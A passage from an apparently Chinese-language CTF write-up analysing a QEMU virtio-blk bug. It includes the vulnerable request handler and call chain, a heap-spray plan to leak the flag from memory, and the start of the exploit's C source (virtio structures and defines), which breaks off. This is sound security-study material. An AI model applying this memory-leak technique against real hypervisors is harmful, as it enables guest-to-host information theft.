class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">virtio_blk_handle_request</span><span class="params">(VirtIOBlockReq *req, MultiReqBuffer *mrb)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">uint32_t</span> type;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">iovec</span> *<span class="title">in_iov</span> =</span> req->elem.in_sg;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">iovec</span> *<span class="title">out_iov</span> =</span> req->elem.out_sg;</span><br><span class="line"> <span class="type">unsigned</span> in_num = req->elem.in_num;</span><br><span class="line"> <span class="type">unsigned</span> out_num = req->elem.out_num;</span><br><span class="line"> VirtIOBlock *s = req->dev;</span><br><span class="line"> VirtIODevice *vdev = VIRTIO_DEVICE(s);</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> (req->elem.out_num < <span class="number">1</span> || req->elem.in_num < <span class="number">1</span>) {</span><br><span class="line"> virtio_error(vdev, <span class="string">"virtio-blk missing headers"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (unlikely(iov_to_buf(out_iov, out_num, <span class="number">0</span>, &req->out,</span><br><span class="line"> <span class="keyword">sizeof</span>(req->out)) != <span class="keyword">sizeof</span>(req->out))) {</span><br><span class="line"> virtio_error(vdev, <span class="string">"virtio-blk request outhdr too short"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> iov_discard_front_undoable(&out_iov, &out_num, <span class="keyword">sizeof</span>(req->out),</span><br><span class="line"> &req->outhdr_undo);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (in_iov[in_num - <span class="number">1</span>].iov_len < <span class="keyword">sizeof</span>(<span class="keyword">struct</span> virtio_blk_inhdr)) {</span><br><span class="line"> virtio_error(vdev, <span class="string">"virtio-blk request inhdr too short"</span>);</span><br><span class="line"> iov_discard_undo(&req->outhdr_undo);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> </span><br><span class="line"> req->in_len = iov_size(in_iov, in_num);</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"> </span><br><span class="line"> <span class="keyword">case</span> VIRTIO_BLK_T_IN:</span><br><span class="line"> {</span><br><span class="line"> <span class="type">bool</span> is_write = type & VIRTIO_BLK_T_OUT;</span><br><span class="line"> req->sector_num = virtio_ldq_p(vdev, &req->out.sector);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (is_write) {</span><br><span class="line"> qemu_iovec_init_external(&req->qiov, out_iov, out_num);</span><br><span class="line"> trace_virtio_blk_handle_write(vdev, req, req->sector_num,</span><br><span class="line"> req->qiov.size / BDRV_SECTOR_SIZE);</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> qemu_iovec_init_external(&req->qiov, in_iov, in_num);</span><br><span class="line"> trace_virtio_blk_handle_read(vdev, req, req->sector_num,</span><br><span class="line"> req->qiov.size / BDRV_SECTOR_SIZE);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!virtio_blk_sect_range_ok(s, req->sector_num, req->qiov.size)) {</span><br><span class="line"> virtio_blk_req_complete(req, VIRTIO_BLK_S_IOERR);</span><br><span class="line"> block_acct_invalid(blk_get_stats(s->blk),</span><br><span class="line"> is_write ? BLOCK_ACCT_WRITE : BLOCK_ACCT_READ);</span><br><span class="line"> virtio_blk_free_request(req);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line"> }</span><br><span class="line"> </span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> virtio_blk_req_complete(req, VIRTIO_BLK_S_UNSUPP);</span><br><span class="line"> virtio_blk_free_request(req);</span><br><span class="line"> </span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>在 <code>virtio_blk_handle_request</code>,即使请求不合法,长度也被写入到 <code>req->in_len</code>。<code>type</code> 不合法时,直接调用 <code>virtio_blk_req_complete</code></p><p>调用链:<code>virtio_blk_handle_request->virtio_blk_req_complete->virtqueue_push->virtqueue_fill->virtqueue_unmap_sg->dma_memory_unmap->address_space_unmap->address_space_write</code></p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">MemTxResult <span class="title function_">address_space_write</span><span class="params">(AddressSpace *as, hwaddr addr,</span></span><br><span class="line"><span class="params"> MemTxAttrs attrs,</span></span><br><span class="line"><span class="params"> <span class="type">const</span> <span class="type">void</span> *buf, <span class="type">int</span> len)</span></span><br><span class="line">{</span><br><span class="line"> MemTxResult result;</span><br><span class="line"> __bufread(buf, len);</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>由于缺乏保护,数据可以被写到<strong><em> Commonconfiguration</em></strong> 部分,并且部分空间可被读出。</p><h1 id="exploit">Exploit</h1><p>通过堆喷,将 flag 字符串填充在内存中。利用上述漏洞读出内存内容。</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br><span class="line">343</span><br><span class="line">344</span><br><span class="line">345</span><br><span class="line">346</span><br><span class="line">347</span><br><span class="line">348</span><br><span class="line">349</span><br><span class="line">350</span><br><span class="line">351</span><br><span class="line">352</span><br><span class="line">353</span><br><span class="line">354</span><br><span class="line">355</span><br><span class="line">356</span><br><span class="line">357</span><br><span class="line">358</span><br><span class="line">359</span><br><span class="line">360</span><br><span class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stddef.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><sys/mman.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><assert.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><stdint.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><sys/io.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string"><linux/stddef.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u8 uint8_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u16 uint16_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u32 uint32_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> u64 uint64_t</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le16 u16</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le32 u32</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> le64 u64</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> {</span></span><br><span class="line"> u8 cap_vndr;</span><br><span class="line"> u8 cap_next;</span><br><span class="line"> u8 cap_len;</span><br><span class="line"> u8 cfg_type;</span><br><span class="line"> u8 bar;</span><br><span class="line"> u8 id;</span><br><span class="line"> u8 padding[<span class="number">2</span>];</span><br><span class="line"> le32 offset;</span><br><span class="line"> le32 length;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span> {</span></span><br><span class="line"> <span class="comment">/* About the whole device. */</span></span><br><span class="line"> le32 device_feature_select; <span class="comment">/* read-write */</span></span><br><span class="line"> le32 device_feature; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> le32 driver_feature_select; <span class="comment">/* read-write */</span></span><br><span class="line"> le32 driver_feature; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 config_msix_vector; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 num_queues; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> u8 device_status; <span class="comment">/* read-write */</span></span><br><span class="line"> u8 config_generation; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> <span class="comment">/* About a specific virtqueue. */</span></span><br><span class="line"> le16 queue_select; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_size; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_msix_vector; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_enable; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_notify_off; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> le64 queue_desc; <span class="comment">/* read-write */</span></span><br><span class="line"> le64 queue_driver; <span class="comment">/* read-write */</span></span><br><span class="line"> le64 queue_device; <span class="comment">/* read-write */</span></span><br><span class="line"> le16 queue_notify_data; <span class="comment">/* read-only for driver */</span></span><br><span class="line"> le16 queue_reset; <span class="comment">/* read-write */</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_notify_cfg</span> {</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> <span class="title">cap</span>;</span></span><br><span class="line"> le32 notify_off_multiplier;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_config</span>{</span></span><br><span class="line"> le64 capacity;</span><br><span class="line"> le32 size_max;</span><br><span class="line"> le32 seg_max;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_geometry</span> {</span></span><br><span class="line"> le16 cylinders;</span><br><span class="line"> u8 heads;</span><br><span class="line"> u8 sectors;</span><br><span class="line"> } geometry;</span><br><span class="line"> le32 blk_size;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_topology</span> {</span></span><br><span class="line"> <span class="comment">// # of logical blocks per physical block (log2)</span></span><br><span class="line"> u8 physical_block_exp;</span><br><span class="line"> <span class="comment">// offset of first aligned logical block</span></span><br><span class="line"> u8 alignment_offset;</span><br><span class="line"> <span class="comment">// suggested minimum I/O size in blocks</span></span><br><span class="line"> le16 min_io_size;</span><br><span class="line"> <span class="comment">// optimal (suggested maximum) I/O size in blocks</span></span><br><span class="line"> le32 opt_io_size;</span><br><span class="line"> } topology;</span><br><span class="line"> u8 writeback;</span><br><span class="line"> u8 unused0;</span><br><span class="line"> u16 num_queues;</span><br><span class="line"> le32 max_discard_sectors;</span><br><span class="line"> le32 max_discard_seg;</span><br><span class="line"> le32 discard_sector_alignment;</span><br><span class="line"> le32 max_write_zeroes_sectors;</span><br><span class="line"> le32 max_write_zeroes_seg;</span><br><span class="line"> u8 write_zeroes_may_unmap;</span><br><span class="line"> u8 unused1[<span class="number">3</span>];</span><br><span class="line"> le32 max_secure_erase_sectors;</span><br><span class="line"> le32 max_secure_erase_seg;</span><br><span class="line"> le32 secure_erase_sector_alignment;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">enum</span> <span class="title">virtio_pci_cfg_type</span>{</span></span><br><span class="line"> VIRTIO_PCI_CAP_COMMON_CFG = <span class="number">0x1</span>,</span><br><span class="line"> VIRTIO_PCI_CAP_NOTIFY_CFG = <span class="number">0x2</span>,</span><br><span class="line"> VIRTIO_PCI_CAP_ISR_CFG = <span class="number">0x3</span>,</span><br><span class="line"> VIRTIO_PCI_CAP_DEVICE_CFG = <span class="number">0x4</span>,</span><br><span class="line"> VIRTIO_PCI_CAP_PCI_CFG = <span class="number">0x5</span>,</span><br><span class="line"> VIRTIO_PCI_CAP_SHARED_MEMORY = <span class="number">0x8</span>,</span><br><span class="line"> VIRTIO_PCI_CAP_VENDOR_CFG = <span class="number">0x9</span>,</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="comment">/* Feature bits */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_SIZE_MAX 1<span class="comment">/* Indicates maximum segment size */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_SEG_MAX 2<span class="comment">/* Indicates maximum # of segments */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_GEOMETRY 4<span class="comment">/* Legacy geometry available */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_RO 5<span class="comment">/* Disk is read-only */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_BLK_SIZE 6<span class="comment">/* Block size of disk is available*/</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_FLUSH 9<span class="comment">/* Flush command supported */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_TOPOLOGY 10<span class="comment">/* Topology information is available */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_MQ 12<span class="comment">/* support more than one vq */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_DISCARD 13<span class="comment">/* DISCARD is supported */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_WRITE_ZEROES 14<span class="comment">/* WRITE ZEROES is supported */</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_F_SECURE_ERASE 16 <span class="comment">/* Secure Erase is supported */</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* Status byte for guest to report progress, and synchronize features. */</span></span><br><span class="line"><span class="comment">/* We have seen device and processed generic fields (VIRTIO_CONFIG_F_VIRTIO) */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_ACKNOWLEDGE 1</span></span><br><span class="line"><span class="comment">/* We have found a driver for the device. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_DRIVER 2</span></span><br><span class="line"><span class="comment">/* Driver has used its parts of the config, and is happy */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_DRIVER_OK 4</span></span><br><span class="line"><span class="comment">/* Driver has finished configuring features */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_FEATURES_OK 8</span></span><br><span class="line"><span class="comment">/* Device entered invalid state, driver must reset it */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_NEEDS_RESET 0x40</span></span><br><span class="line"><span class="comment">/* We've given up on this device. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_CONFIG_S_FAILED 0x80</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_QUEUE_SIZE 0x10</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_desc</span> {</span></span><br><span class="line"> <span class="comment">/* Address (guest-physical). */</span></span><br><span class="line"> le64 addr;</span><br><span class="line"> <span class="comment">/* Length. */</span></span><br><span class="line"> le32 len;</span><br><span class="line"><span class="comment">/* This marks a buffer as continuing via the next field. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_NEXT 1</span></span><br><span class="line"><span class="comment">/* This marks a buffer as device write-only (otherwise device read-only). */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_WRITE 2</span></span><br><span class="line"><span class="comment">/* This means the buffer contains a list of buffer descriptors. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_INDIRECT 4</span></span><br><span class="line"> <span class="comment">/* The flags as indicated above. */</span></span><br><span class="line"> le16 flags;</span><br><span class="line"> <span class="comment">/* Next field if flags & NEXT */</span></span><br><span class="line"> le16 next;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_avail</span> {</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_AVAIL_F_NO_INTERRUPT 1</span></span><br><span class="line"> le16 flags;</span><br><span class="line"> le16 idx;</span><br><span class="line"> le16 ring[VIRTIO_QUEUE_SIZE];</span><br><span class="line"> le16 used_event; <span class="comment">/* Only if VIRTIO_F_EVENT_IDX */</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_used_elem</span> {</span></span><br><span class="line"> <span class="comment">/* Index of start of used descriptor chain. */</span></span><br><span class="line"> le32 id;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * The number of bytes written into the device writable portion of</span></span><br><span class="line"><span class="comment"> * the buffer described by the descriptor chain.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> le32 len;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_used</span> {</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_USED_F_NO_NOTIFY 1</span></span><br><span class="line"> le16 flags;</span><br><span class="line"> le16 idx;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_used_elem</span> <span class="title">ring</span>[<span class="title">VIRTIO_QUEUE_SIZE</span>];</span></span><br><span class="line"> le16 avail_event; <span class="comment">/* Only if VIRTIO_F_EVENT_IDX */</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_req</span> {</span></span><br><span class="line"> le32 type;</span><br><span class="line"> le32 reserved;</span><br><span class="line"> le64 sector;</span><br><span class="line"> u8 data[<span class="number">0</span>];</span><br><span class="line"> <span class="comment">// u8 status;</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_IN 